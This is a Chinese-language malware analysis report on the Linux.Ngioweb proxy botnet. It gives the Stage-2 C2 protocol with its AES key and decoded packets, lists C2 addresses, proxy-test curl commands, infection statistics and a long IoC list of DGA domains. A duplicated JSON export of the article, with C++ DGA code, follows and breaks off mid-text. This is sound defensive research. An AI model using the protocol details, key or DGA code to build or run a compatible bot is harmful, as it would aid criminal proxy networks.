在此阶段样本的主要行为是和Stage-2的C2建立通信，开启Back-Connect Proxy功能。
通信协议
此阶段通信是经过双层加密组合合成，内层为XOR，外层为AES。
数据包概览
加密算法
XOR的Key由随机算法产生
算法为
AES使用ECB模式，无填充，Key为qwerasdfzxcqwerasdftyuirfdsdsdss
数据包结构
数据包由header和msg俩部分组成
header结构
#le->little endian
#be->big endian
struct header
{
uint32_le xorkey;
uint32_be msgcrc32;
uint32_be len;
uint16_be msgcode
uint16_be magic
};
msg由chunk构成，样本支持的chunk如下
Chunk Type
Chunk Length
Description
1
1
BYTE
2
2
WORD big endian
3
4
DWORD big endian
4
8
QWORD big endian
5
N+4
Bytes array.The first 4 bytes of chunk are the big endian-encoded length (N) of the array
一个msg可以有一个或多个chunk,不同的msg有不同的格式。
样本支持的msg类型分recv和send 两种
*
recv
*
send
汇总见下表
msgcode
Driection
Description
Fromat
0x1010
recv
set channel id
3 chunks:(QWORD ConnId, Array IPAddr,WORD Port)
0x1011
recv
start proxy request
5 chunks:(QWORD RequestId, BYTE reason,BYTE AddrType,Array Addr, WORD port)
0x1012
recv
close connection
1 chunk:(QWORD ConnId)
0x10
send
check-in
1 chunk:(QWORD BotId)
0x11
send
set-channel ack
1 chunk:(DWORD VersionId)
0x14
send
tcp server started
5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)
0x15
send
error
2 chunks:(DWORD RequestId,BYTE reason )
0x16
send
udp server started
5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)
发包解析样例
*
原始数据（数据包结构）
packet[0:31]:
6c 52 8c 08 3e 80 a9 3c 00 00 00 10 00 10 fa 51
04 dd b0 b4 9d 10 ec 42 c3 00 00 00 00 00 00 00
header --->packet[0:15]
xorkey --->0x088c526c
msgcrc32 --->0x3e80a93c
msglen --->0x00000010
msgcode --->0x0010,check-in
magic --->0xfa51
msg --->packet[16:31]
1st chunk
chunktype --->0x4
content --->0xddb0b49d10ec42c3
*
XOR加密后
6c 52 8c 08 36 0c fb 50 08 8c 52 7c 08 9c a8 3d
0c 51 e2 d8 95 9c be 2e cb 8c 52 6c 08 8c 52 6c
*
AES加密后
c1 d3 78 71 2d f6 5b bb 16 ca ff 8b ef 69 bb 26
3b 01 f0 22 70 09 38 dc e7 06 89 de 2b 55 eb 8e
收包解析样例
*
原始数据
c5 ad 4a bf 30 C2 3a 43 9b 6e 22 08 73 e0 b9 5d
3c e6 b7 f0 74 76 53 43 3a 79 0e 82 80 1a c3 84
ba a4 85 05 4a 63 b1 d6 d1 94 ad 53 be 7a 9a 88
*
AES解密后
59 8b e5 6d 4a ee bf ef 6d e5 8b 79 7d f5 71 08
69 b8 81 aa 92 ed 65 fb 29 e0 8b 59 6d e1 51 47
19 e1 89 d8 29 e5 8b 59 6d e5 8b 59 6d e5 8b 59
*
XOR解密后（数据包结构）
packet[0:47]
59 8b e5 6d 27 0b 34 b6 00 00 00 20 10 10 fa 51
04 5d 0a f3 ff 08 ee a2 44 05 00 00 00 04 da 1e
74 04 02 81 44 00 00 00 00 00 00 00 00 00 00 00
header --->packet[0:15]
xorkey --->0x6de58b59
msgcrc32 --->0x270b34b6
msglen --->0x00000020
msgcode --->0x1010,set channel id
magic --->0xfa51
msg --->packet[16:47]
1st chunk
chunktype --->0x04
content --->0x5d0af3ff08eea244
2nt chunk
chunktype --->0x05
content --->len:0x00000004 buf:0xda1e7404
3rd chunk
chunktype --->0x02
content --->0x8144
Stage-2 C2关联分析
我们通过访问Stage-1 C2 URL (http://185.244.149.73:443/min.js) 共得到以下6个Stage-2 C2的地址。
5.135.58.119
5.135.58.121
5.135.58.123
5.135.58.124
91.134.157.11
193.70.73.115
通过我们的图系统关联test.zip的MD5（9017804333c820e3b4249130fc989e00）得到了更多的URL并对他们进行指纹识别，确认了另外18个存活的Stage-2 C2。
5.135.35.160
5.196.194.209
51.254.57.83
54.36.244.84
54.36.244.85
54.36.244.91
91.121.36.212
91.121.236.219
92.222.151.63
145.239.108.241
163.172.201.184
163.172.202.116
178.33.101.176
178.33.101.177
178.33.101.178
178.33.101.182
188.165.5.123
188.165.163.20
我们在free-socks.in网站上可以检索到Stage-2 C2 IP地址正在提供Socks5代理服务。
我们测试这些Socks5代理IP均正常工作，同时它们也通过Stage-1 C2协议访问了我们Sinkhole 的C2域名(enutofish-pronadimoful-multihitision.org)，所以可以说明他们都是Linux.Ngioweb Bot。
root@localhost:~# curl --socks5 91.134.157.11:50880 ifconfig.me
31.170.123.49
root@localhost:~# curl --socks5 91.134.157.11:62012 ifconfig.me
208.113.197.88
root@localhost:~# curl --socks5 91.134.157.11:18278 ifconfig.me
45.58.190.100
root@localhost:~# curl --socks5 91.134.157.11:64380 ifconfig.me
72.29.64.29
root@localhost:~# curl --socks5 91.134.157.11:47067 ifconfig.me
54.38.101.17
root@localhost:~# curl --socks5 91.134.157.11:63862 ifconfig.me
88.99.212.97
root@localhost:~# curl --socks5 91.134.157.11:49475 ifconfig.me
23.91.65.240
被感染的IP信息
通过Sinkhole C2域名(enutofish-pronadimoful-multihitision.org)，我们目前共观察到有2692个Bot IP。
以下是被感染的IP 国家/地区详细列表
US 1306
BR 156
RU 152
DE 133
FR 102
SG 98
NL 80
GB 66
CA 66
IT 64
VN 42
AU 36
PL 31
TR 28
JP 26
IN 26
ZA 21
ID 19
ES 18
UA 15
通过对被感染IP指纹识别，我们观察到几乎所有Bot IP都是Web服务器，同时都部署了WordPress程序，但是我们还不能确定攻击者是如何入侵WordPress网站。
我们通过联系一些受感染者用户，并在他们的Web服务器上发现了多种类型的WebShell，这些WebShell都是高度混淆，但是混淆手法，加密方式以及编码特征相似。结合被感染IP访问Sinkhole时序特征，我们猜测攻击者会周期性地对受害者网站WebShell下发指令并运行Linux.Ngioweb程序。
处置建议
Linux.Ngioweb攻击者可能会监听代理网络流量，我们建议读者不要使用Stage-2 C2 IP提供的Socks5代理服务。
我们建议WordPress用户备份网站文章数据库(删除wp.service.controller.*等后门用户)，重新安装最新版本WordPress程序，增强用户密码复杂度，增强WebShell检测能力，并禁止PHP命令执行相关函数；
相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
样本MD5
827ecf99001fa66de513fe5281ce064d
Stage-1 C2 (硬编码IP)
169.239.128.166 South Africa ASN 61138 Zappie Host LLC
185.244.149.73 Romania ASN 60117 Host Sailor Ltd.
Stage-2 C2
163.172.201.184 France ASN 12876 Online S.a.s.
163.172.202.116 France ASN 12876 Online S.a.s.
5.135.35.160 France ASN 16276 OVH SAS
5.135.58.119 France ASN 16276 OVH SAS
5.135.58.121 France ASN 16276 OVH SAS
5.135.58.123 France ASN 16276 OVH SAS
5.135.58.124 France ASN 16276 OVH SAS
5.196.194.209 France ASN 16276 OVH SAS
51.254.57.83 France ASN 16276 OVH SAS
54.36.244.84 France ASN 16276 OVH SAS
54.36.244.85 France ASN 16276 OVH SAS
54.36.244.91 France ASN 16276 OVH SAS
91.121.36.212 France ASN 16276 OVH SAS
91.121.236.219 France ASN 16276 OVH SAS
91.134.157.11 France ASN 16276 OVH SAS
92.222.151.63 France ASN 16276 OVH SAS
145.239.108.241 Germany ASN 16276 OVH SAS
178.33.101.176 Ireland ASN 16276 OVH SAS
178.33.101.177 Ireland ASN 16276 OVH SAS
178.33.101.178 Ireland ASN 16276 OVH SAS
178.33.101.182 Ireland ASN 16276 OVH SAS
188.165.5.123 Ireland ASN 16276 OVH SAS
188.165.163.20 France ASN 16276 OVH SAS
193.70.73.115 France ASN 16276 OVH SAS
Stage-1 C2 (DGA)
enutofish-pronadimoful-multihitision.org
exaraxexese-macrobacaward-exafosuness.net
nonafudazage.name
demigelike.net
emuvufehood.net
subolukobese.biz
inogepicor-prorarurument.biz
overahudulize-unazibezize-overuzozerish.org
imunolance-postodinenetn-antifipuketn.net
antizerolant-monogevudom.info
transavecaful-transinenation-transikaduhern.com
subogonance.info
inoxodusor-misehupukism.info
devikoviward-semibazegily-copaxugage.name
eniguzeless-inecimanable.net
subilebesion-irogipate.biz
colozosion-antigobunaful.name
inudiduty-dezaviness.org
irelizaring-enipulical-monovuxehossion.info
ilenudavous-monoxoxapal-semimihupution.info
ultrapadupize.biz
covategal-dezakedify-enebugassion.name
transivesudom-macropimuship.org
rezolezation-transapupirify-seminecation.name
macrolutoxous-overefimety.name
coxumumage-dexolalite.name
cotexafical-postirutuvian-emimimous.biz
copubuloness-misumusal-disokozian.com
nonecuzuking-enekopofen-imakozity.info
dezohipal-ultrazebebive.name
cosazalike-antifoxirer-subudikic.biz
underotutilism-monoceraretion-underosociful.name
overugiror.net
emuzixucize.biz
disicevament-desizigasion-recadihuful.biz
decehoward-microhikodely-overokerezant.com
microlasokadom-ultralarumous.info
minixecision-iruzaxuhood.net
profusonuty.info
multifipakency-conovofy-prorakikate.com
antiseramoment.info
postavutetn-emedarevous.biz
inolugoty-inidiverible.com
prodipamament.biz
overogobity-imivocurify-disovizution.biz
decozaness-antihazation-overetalovical.net
nonesolafy.com
unihatosancy.name
interiragocern-micropuxotion-transogorion.org
seminamatity-enogibely.name
inosebovion.net
exofifure-postirexument.info
transirirenern-semizafunic-nonivubed.biz
enegizize-microtizobity.name
macrohuseded-multipazaseship.com
imefihured-macrohixuhood.org
microlulition-macrokiguxable.biz
multizesumefy-emebefion.biz
underebelassion-postizoziless.info
dezuvazen.name
decotusion-exexavihood-exevozebant.name
disuzepuly.info
inuviging-antizoluly.biz
multisotiren-ilazufist.org
predepussion.info
inidozadom.name
interikuhaful.info
cozuheming.biz
multiruxuth.org
monozogeced.org
mononoredom.info
postarubixage-monocinamety-overogefesal.com
prebekokian-misadepepive-transilogify.com
monohatodom-cohotiship.com
exebasusion.org
unahodoness-emevuzeward-emuzeduness.com
exemidexous-underiposapite-unegatature.name
interocugopist-misugexadic-ilobipegency.org
monokifomancy-misagefism-macrobepoth.com
antizekussion-minipusaral-copofuxoship.com
relutodom-comakitize.name
multikezusion.org
emopumical-enohecical.org
semitegopish.net
recepatission.info
inoluvary.com
seminitotuful.info
interanubing-emelulotal-transugotuzern.com
subefehity-iledutession.name
ultrapapiten.biz
transuvarusish-prozumoxety.info
transisigern.org
imirotiship-microhopulive-emotomeship.com
presefavution.info
enevifaking.org
misidogive-coxecovor-dexefoxan.name
overazadudom-deliromohood.com
emakanuward.com
emitohage-overasuhorure-antitipenoless.info
ultrasesebible.biz
multihadekite.name
iluvused-iravoxish.info
postobagoly-detovaward-unixohible.biz
underasusogen.com
imovaman-multimihivoship-imeduxian.biz
dedunuguhood.com
prevukition.info
underehugavish.org
misoxomelical-iluxubism.net
microcolacoful-postabitition.name
overurohely-overadolure-iruraluness.org
unurodable-dekipuhic-postuxufous.org
unitucihern-postadagen-imupuduth.org
imukokuship.org
prenubocetion-ultrahahohood.com
monofugition-underefogukic.org
irofetufy.com
irobigelike.org
presifament.biz
overetigution.info
enuvopan-imixesoward-irarupipary.biz
inorofizian.com
monopadecotion-multicecihood-imuzicasion.com
exofosehance-minimezazofy.org
monokacofudom-inuvinable.com
emisucosion-prohosexite-imorekusion.net
semiledoduly.info
multivapufy-promumuly-enonuben.net
subebodency.info
cofexasish-inodehed.net
unutexupify-conofubusion.com
misebonure-iluborize-rezericify.com
exunaxian.info
colanizity-postosecive-nonuresible.info
dedaliward-imipusen-inacaliver.com
refusovize.org
monokuvission-transodigical-semihehamussion.biz
transalavudom-multilavezuhood.net
exusizeward.net
unisimor.name
minipihagaship.com
recusigetion-transubeviful.info
multixizitufy-microtomuly-multixoleward.com
microxulodish-semibahoty.biz
macrokunith-proxobivive.net
preginaxodom.name
transimapeful-cotalision.com
prefinazuly.name
inucasazing-microhesunian-semidikokement.biz
disitirotion-transekarenate.org
unehihify-antimepavable-nonubovafy.net
misunotelike-nonugidant.info
enogosudom-macrogekabive.biz
postozokipetn-microdomobaly.biz
interunavission-ininibecist.org
microhinoler.org
prosihamish-noneguhaness.com
preberekous-microkagibant-imemahal.name
iletegifage.org
emikuraran.biz
overokigoty-ilecavish.net
nonikofucable-postelihuzism-rexecigism.net
imixifure.info
minirabupeness-nonitefuward.org
misasugegify-underazosuzish-exuvexezical.info
multipocihood-monomuhunible.org
nonohacutancy-postuxikitan-microseditoless.info
overasobament.info
overulurotion.biz
disepadely-disuzirovor.net
repetepian-irelucify.biz
enikobadom-postolixement.name
inunatogite-imoboraness.net
irimarefy.net
monohiloless-demodefy.com
previbetian-misunohigate.info
multivunuhance-inabiber.com
semicasinaty-ilibaholy.biz
transupovetn-monozeruduless.biz
debapesetn-underisaxufical-imukugamism.info
multibibetefy.com
exanonish.name
interanulish-imazekalike-unisukugate.info
inokevidage.org
monofipuly-underubihal.net
profobekify-subebobefy-exozufous.name
macrovetecuship-emebudemical-underaxakament.biz
demeficiward-retitisily-macromuvaward.org
monosumuly-ilenusuty-dedabaness.net
exapofaran-postulusadify.com
microhobament-postevofafity.com
rebezusaly-overidirity-ultrahiseness.org
unafacigage-transihicical-prebokity.info
interazution-irudegufy-antinefoly.biz
minizecidish-macrolafukish-depovased.biz
derirepous-cosideship-semibiseless.biz
overupazadity-irativorical.name
coseviness-nonikunant-macrorasihood.net
nonesocern-macrotocipity.info
interuzoputy.info
inicinic-misuluzan-ultrakuxuness.com
sububesebism-ultrabutath.com
misacireship.org
exuxuburan-miniravuhood-exosoxen.info
macrozigahood-monosulopancy.com
unegoping-detunusion-antimuruseful.biz
macrozixaward-semivanimoly-underekutoty.biz
ultratipuxian-inosilission-multiridith.net
microtonagament.info
cobemesion-redacocoful.name
disicogure-seminedasoly.biz
dekacify.net
emegamilike-imupogazance-ultrapanacesion.org
unocelibable-underelatucance.com
irodetolike-imisocatite-inecolafian.com
antikuzucen-irokarance-transitupikible.org
semiralety-macrorobinant-ultrapixutency.biz
transisomuless.name
ilebigument-macroripakesion.org
profebarable.org
nonixigefy-protisumiless.biz
corahicohood.com
pretuvution-disafatutical-irehopuvese.name
miniregath-anticesuty-postudagily.biz
coguvilaship-recakubodom.name
overipugoful-interizihing.org
imipadaness-iralikoward-semitolicoly.info
interupefity-semigiduly.info
macromosoriship.net
antigizepist.net
subuluhic-disomokate.net
irunucudor-macrogocudern-comoxizish.name
underedofobate.net
prolapuzern-progobutiful-dehifasion.org
irucasian-macrofevasion.net
unogoxeness-semixocapency.org
rehofocese.org
exebutian-interomifenism.org
subihefahood-subenopure-ultramoherihood.net
nonezogeward.com
exasavate-minidevilefy-subanevous.biz
enodenission-overucelancy-microvitasission.info
ultrafakitesion-misesuzahical-transanafetion.biz
interinipoly-minimorovor-debininess.com
prenedelission-interugefable-repekosossion.name
postifozible-irololuship.com
unozolasion.org
unobelaness-prepifavety.info
cofukosable.info
iloletible-imakeben.info
ultraronupity.name
minikisision-monobavunism-micronepavage.org
unufepaness-misedepugance.biz
inafolage.com
semifolofic-unaraxal.biz
enerivosism-imenufanist-macrovonahood.org
monobocution.info
cosuzuness-prepurizor-unasulal.name
inopivic-antimaporary-subavocobive.biz
covogidish-iletinassion.biz
defizalike-unodatage-inarabevous.com
unuvirisern-interusalosize-misucakiness.org
ireninenish-multicemath-prezucetussion.biz
interodekive.com
iramilahood-antirotuxary-misobegesion.name
multidafadite-postagoker.org
monobagehance.net
emixuvidite-ilofikency-subolubify.biz
postugihucency-emademify.name
cotefehood-imocakitency.biz
enikavely-inosifuty-postaviraly.info
transabusossion.biz
interitebure.net
unehumugage-ultraburosion.com
subutavahen-inuhabish.org
subifefer-devufoward-probelalance.org
emefimafible.biz
ilibefudom.biz
postemivaxage.net
monofudumossion.info
inuxazodom-macrodexaxahood.org
semibugegetn-monohifutuly.biz
macromohazaship-subonohion-disonixucing.com
emosacekant-cokebohood-nonetakive.biz
interozecifist-antipinukity-multifekemath.net
refedomous-antifaliless.name
ultraxekevohood-nonizerosion-exovigant.name
interarogous-unuculuhood.org
semipulimian.com
monocalacaless.biz
disevolikency-retipegation.biz
cosituxath-misuxunor.info
ultraporader-conapefy-prolobeziless.info
ilucasure.com
reletohite-misosulahood-antitedudom.info
minivucilous-inafafomism.net
monorifutaless-ilocamussion.name
inohufohese-imufilahood-antifidupite.com
emegemaxed-transigifuty-multitumolith.net
exotacible-denitokolike.com
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n2019年5月27号，360Netlab 未知威胁检测系统发现一个可疑的ELF文件，目前仅有一款杀毒引擎检测识别。通过详细分析，我们确定这是一款Proxy Botnet，并且是Win32.Ngioweb[[1\\]](https://research.checkpoint.com/ramnits-network-proxy-servers/)恶意软件的Linux版本变种，我们将它命名为Linux.Ngioweb。它与Win32.Ngioweb共用了大量代码，不同的是它新增了DGA特性。我们注册了其中一个DGA C2域名(enutofish-pronadimoful-multihitision.org)，并对它进行Sinkhole处理以此来观察Bot连接情况。\n\n此外，我们还观察到大量部署WordPress的Web服务器被植入Linux.Ngioweb 恶意软件。尽管Bot程序由Web容器对应的用户组运行并且权限很小但还是能够正常工作，并被充当Rotating Reverse Proxy[[2\\]](https://stormproxies.com/rotating_reverse_proxies.html)节点。\n\n目前，我们还没有看清楚Linux.Ngioweb攻击者的目的，但我们猜测他可能会监听代理网络流量。\n\n\n### Linux.Ngioweb概览\n\nLinux.Ngioweb Bot样本的主要功能是在受害者的机器上实现Back-Connect Proxy[[3\\]](https://hide-ip-proxy.com/what-is-a-backconnect-proxy/)。攻击者将多个Bot构建为一个Proxies Pool，并通过双层C2协议控制，然后提供Rotating Reverse Proxy Service。\n\n<a href=\"__GHOST_URL__/content/images/2019/06/Linux.Ngioweb-1.png\"><img src=\"__GHOST_URL__/content/images/2019/06/Linux.Ngioweb-1.png\" class=\"kg-image\"/></a>\n\n### Linux.Ngioweb逆向分析\n#### 样本信息\n * MD5: 827ecf99001fa66de513fe5281ce064d\n > ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped\n \n \n#### 样本对抗技巧\n- 使用小众的musl libc库\n <a href=\"__GHOST_URL__/content/images/2019/06/1.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/1.PNG\" class=\"kg-image\"/></a>\n\n- 将所需函数预存在function table中\n <a href=\"__GHOST_URL__/content/images/2019/06/2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/2-3.PNG\" class=\"kg-image\"/></a>\n\n- 使用Stack Strings Obfuscation技术\n <a href=\"__GHOST_URL__/content/images/2019/06/3.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/3-2.PNG\" class=\"kg-image\"/></a>\n\n\n- 动态生成CRC，AES加密算法所需常量表\n <a href=\"__GHOST_URL__/content/images/2019/06/crypt-1.png\"><img src=\"__GHOST_URL__/content/images/2019/06/crypt-1.png\" class=\"kg-image\"/></a>\n\n- 使用双层C2协议，其中Stage-2 C2由Stage-1 C2的CONNECT指令确定\n\n- Stage-2 C2使用双层加密的通信协议\n\n#### Stage-1 C2协议分析\n\n在此阶段样本的主要行为是和Stage-1 C2建立通信，根据C2返回的指令进行下一步的操作。\n\n###### 通信尝试\n\n* 每隔60秒尝试和以下硬编码C2 IP建立通信\n 169.239.128.166:443 \n 185.244.149.73:443\n\n* 每隔73秒尝试和DGA (Domain Generation Algorithm) 生成的域名建立通信。当DGA域名数达到300时，Seed会重置，所以DGA域名总数只有300。\n <a href=\"__GHOST_URL__/content/images/2019/06/4.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/4-1.PNG\" class=\"kg-image\"/></a>\n\n\n###### DGA实现\n ```c\nuint64_t GenSeed(uint32_t& seed, uint32_t mod)\n{\n uint32_t tmp = 0x41C64E6D * seed + 0x3039;\n seed = tmp;\n return tmp % mod;\n}\nstring dga(uint32_t& seed)\n{\n char* HeadBuf[] = { \"un\", \"under\", \"re\", \"in\", \"im\", \"il\", \"ir\", \"en\", \"em\",\n \"over\", \"mis\", \"dis\", \"pre\", \"post\", \"anti\",\"inter\",\n \"sub\", \"ultra\", \"non\", \"de\",\"pro\", \"trans\", \"ex\",\n \"macro\", \"micro\", \"mini\",\"mono\", \"multi\", \"semi\", \"co\" };\n\n char* BodyBufA[] = {\"able\",\"ant\",\"ate\",\"age\",\"ance\",\"ancy\",\"an\",\"ary\",\n \"al\",\"en\",\"ency\",\"er\",\"etn\", \"ed\", \"ese\",\"ern\",\"ize\",\n \"ify\",\"ing\",\"ish\",\"ity\",\"ion\",\"ian\",\"ism\",\"ist\",\"ic\",\"ical\",\n \"ible\",\"ive\",\"ite\",\"ish\",\"ian\",\"or\",\"ous\",\"ure\" };\n\n char* BodyBufB[] = {\"dom\",\"hood\",\"less\",\"like\",\"ly\",\"fy\",\"ful\",\"ness\",\n \"ment\",\"sion\",\"ssion\",\"ship\",\"ty\",\"th\",\"tion\",\"ward\" };\n\n char* TailBuf[] = { \".net\",\".info\",\".com\",\".biz\",\".org\",\".name\" };\n\n string BlockBufA = \"aeiou\";\n string BlockBufB = \"bcdfghklmnprstvxz\";\n string domain;\n uint32_t dashloop = GenSeed(seed, 3) + 1;\n while (dashloop--)\n {\n domain += HeadBuf[GenSeed(seed, 0x1e)];\n int flag = 0;\n int i = 0;\n if (BlockBufA.find(domain.back()) == string::npos)\n flag = 1;\n int fillcnt = GenSeed(seed, 0x3) + 4;\n while (fillcnt > i)\n {\n\n if (flag + i & 1)\n domain += BlockBufA[GenSeed(seed, 0x5)];\n else\n domain += BlockBufB[GenSeed(seed, 0x11)];\n i++;\n }\n if (BlockBufA.find(domain.back()) == string::npos)\n domain += BodyBufA[GenSeed(seed, 0x23)];\n else\n domain += BodyBufB[GenSeed(seed, 0x10)];\n if (dashloop != 0)\n domain += \"-\";\n }\n return domain += TailBuf[GenSeed(seed, 0x6)];\n}\n\n ```\n\n \n\n###### 通信协议\n\n此阶段通信是基于HTTP协议，并将参数内容进行了Base64编码。\n\n###### 数据包概览\n\n<a href=\"__GHOST_URL__/content/images/2019/06/5.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/5.PNG\" class=\"kg-image\"/></a>\n\n###### 发包解析\n\n将参数内容通过Base64解码后可以看到以下信息\n\n<a href=\"__GHOST_URL__/content/images/2019/06/6.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/6-1.PNG\" class=\"kg-image\"/></a>\n\n* id=machine-id[0:15]\n\n <a href=\"__GHOST_URL__/content/images/2019/06/7.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/7.PNG\" class=\"kg-image\"/></a>\n\n* v=x86_64，硬编码，架构\n\n* sv=5003，硬编码，版本号\n\n* &qlohmzalwdepupwf,随机16字节数据，算法如下 \n\n <a href=\"__GHOST_URL__/content/images/2019/06/8.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/8.PNG\" class=\"kg-image\"/></a>\n\n* User-Agent，硬编码\n\n ```\n Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0\n ```\n\n###### 收包解析\n\n<a href=\"__GHOST_URL__/content/images/2019/06/a.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/a.PNG\" class=\"kg-image\"/></a>\n\n支持的指令\n\n* WAIT\n* CONNECT\n* DISCONNECT\n* CERT\n\n#### Stage-2 C2协议分析\n\n在此阶段样本的主要行为是和Stage-2的C2建立通信，开启Back-Connect Proxy功能。\n\n###### 通信协议\n\n此阶段通信是经过双层加密组合合成，内层为XOR，外层为AES。\n\n###### 数据包概览\n\n<a href=\"__GHOST_URL__/content/images/2019/06/b.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/b.PNG\" class=\"kg-image\"/></a>\n\n###### 加密算法\n\nXOR的Key由随机算法产生\n\n<a href=\"__GHOST_URL__/content/images/2019/06/d.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/d.PNG\" class=\"kg-image\"/></a>\n\n\n算法为\n\n<a href=\"__GHOST_URL__/content/images/2019/06/c.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/c.PNG\" class=\"kg-image\"/></a>\n\nAES使用ECB模式，无填充，Key为**qwerasdfzxcqwerasdftyuirfdsdsdss**\n\n\n###### 数据包结构\n数据包由header和msg俩部分组成\n\nheader结构\n\n```c\n#le->little endian\n#be->big endian\nstruct header\n{\n\tuint32_le xorkey;\n\tuint32_be msgcrc32;\n\tuint32_be len;\n\tuint16_be msgcode\n\tuint16_be magic\n};\n```\n\n\nmsg由chunk构成，样本支持的chunk如下\n\n| Chunk Type | Chunk Length | Description |\n| ----------- | ------------ | ------------------------------------------------------------ |\n| 1 | 1 | BYTE |\n| 2 | 2 | WORD big endian |\n| 3 | 4 | DWORD big endian |\n| 4 | 8 | QWORD big endian |\n| 5 | N+4 | Bytes array.The first 4 bytes of chunk are the big endian-encoded length (N) of the array |\n\n一个msg可以有一个或多个chunk,不同的msg有不同的格式。\n\n样本支持的msg类型分recv和send 两种\n\n* recv\n <a href=\"__GHOST_URL__/content/images/2019/06/msgrecv.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/msgrecv.PNG\" class=\"kg-image\"/></a>\n \n* send\n <a href=\"__GHOST_URL__/content/images/2019/06/msgsend.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/msgsend.PNG\" class=\"kg-image\"/></a>\n\n汇总见下表\n| msgcode | Driection | Description | Fromat |\n| ------- | --------- | ------------------- | ------------------------------------------------------------ |\n| 0x1010 | recv | set channel id | 3 chunks:(QWORD ConnId, Array IPAddr,WORD Port) |\n| 0x1011 | recv | start proxy request | 5 chunks:(QWORD RequestId, BYTE reason,BYTE AddrType,Array Addr, WORD port) |\n| 0x1012 | recv | close connection | 1 chunk:(QWORD ConnId) |\n| 0x10 | send | check-in | 1 chunk:(QWORD BotId) |\n| 0x11 | send | set-channel ack | 1 chunk:(DWORD VersionId) |\n| 0x14 | send | tcp server started | 5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port) |\n| 0x15 | send | error | 2 chunks:(DWORD RequestId,BYTE reason ) |\n| 0x16 | send | udp server started | 5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port) |\n\n###### 发包解析样例\n\n* 原始数据（数据包结构）\n\n ```\n packet[0:31]:\n 6c 52 8c 08 3e 80 a9 3c 00 00 00 10 00 10 fa 51 \n 04 dd b0 b4 9d 10 ec 42 c3 00 00 00 00 00 00 00\n header\t\t--->packet[0:15]\n \txorkey\t\t--->0x088c526c\n \tmsgcrc32\t--->0x3e80a93c\n \tmsglen\t\t--->0x00000010\n \tmsgcode\t\t--->0x0010,check-in \n \tmagic\t\t--->0xfa51\n msg\t\t--->packet[16:31]\n \t1st chunk\n \t\tchunktype\t--->0x4\n \t\tcontent\t\t--->0xddb0b49d10ec42c3\n \n ```\n\n* XOR加密后\n\n ```\n 6c 52 8c 08 36 0c fb 50 08 8c 52 7c 08 9c a8 3d \n 0c 51 e2 d8 95 9c be 2e cb 8c 52 6c 08 8c 52 6c\n ```\n\n* AES加密后\n\n ```\n c1 d3 78 71 2d f6 5b bb 16 ca ff 8b ef 69 bb 26\n 3b 01 f0 22 70 09 38 dc e7 06 89 de 2b 55 eb 8e\n ```\n\n###### 收包解析样例\n\n* 原始数据\n\n ```\n c5 ad 4a bf 30 C2 3a 43 9b 6e 22 08 73 e0 b9 5d \n 3c e6 b7 f0 74 76 53 43 3a 79 0e 82 80 1a c3 84 \n ba a4 85 05 4a 63 b1 d6 d1 94 ad 53 be 7a 9a 88\n ```\n\n* AES解密后\n\n ```\n 59 8b e5 6d 4a ee bf ef 6d e5 8b 79 7d f5 71 08\n 69 b8 81 aa 92 ed 65 fb 29 e0 8b 59 6d e1 51 47\n 19 e1 89 d8 29 e5 8b 59 6d e5 8b 59 6d e5 8b 59\n ```\n\n* XOR解密后（数据包结构）\n\n ```\n packet[0:47]\n 59 8b e5 6d 27 0b 34 b6 00 00 00 20 10 10 fa 51\n 04 5d 0a f3 ff 08 ee a2 44 05 00 00 00 04 da 1e\n 74 04 02 81 44 00 00 00 00 00 00 00 00 00 00 00\n\n header\t\t--->packet[0:15]\n xorkey\t\t--->0x6de58b59\n msgcrc32\t--->0x270b34b6\n msglen\t\t--->0x00000020\n msgcode\t\t--->0x1010,set channel id\n magic\t\t--->0xfa51\n\n msg\t\t\t--->packet[16:47]\n 1st chunk\n chunktype\t--->0x04\n content\t\t--->0x5d0af3ff08eea244\n 2nt chunk\n chunktype\t--->0x05\n content\t\t--->len:0x00000004 buf:0xda1e7404\n 3rd chunk\n chunktype\t--->0x02\n content\t\t--->0x8144\n ```\n\n### Stage-2 C2关联分析\n\n我们通过访问Stage-1 C2 URL (http://185.244.149.73:443/min.js) 共得到以下6个Stage-2 C2的地址。\n```\n5.135.58.119\n5.135.58.121\n5.135.58.123\n5.135.58.124\n91.134.157.11\n193.70.73.115\n```\n通过我们的图系统关联test.zip的MD5（9017804333c820e3b4249130fc989e00）得到了更多的URL并对他们进行指纹识别，确认了另外18个存活的Stage-2 C2。\n\n```\n5.135.35.160\n5.196.194.209\n51.254.57.83\n54.36.244.84\n54.36.244.85\n54.36.244.91\n91.121.36.212\n91.121.236.219\n92.222.151.63\n145.239.108.241\n163.172.201.184\n163.172.202.116\n178.33.101.176\n178.33.101.177\n178.33.101.178\n178.33.101.182\n188.165.5.123\n188.165.163.20\n```\n\n我们在free-socks.in网站上可以检索到Stage-2 C2 IP地址正在提供Socks5代理服务。\n\n<a href=\"__GHOST_URL__/content/images/2019/06/free-proxy.png\"><img src=\"__GHOST_URL__/content/images/2019/06/free-proxy.png\" class=\"kg-image\"/></a>\n\n我们测试这些Socks5代理IP均正常工作，同时它们也通过Stage-1 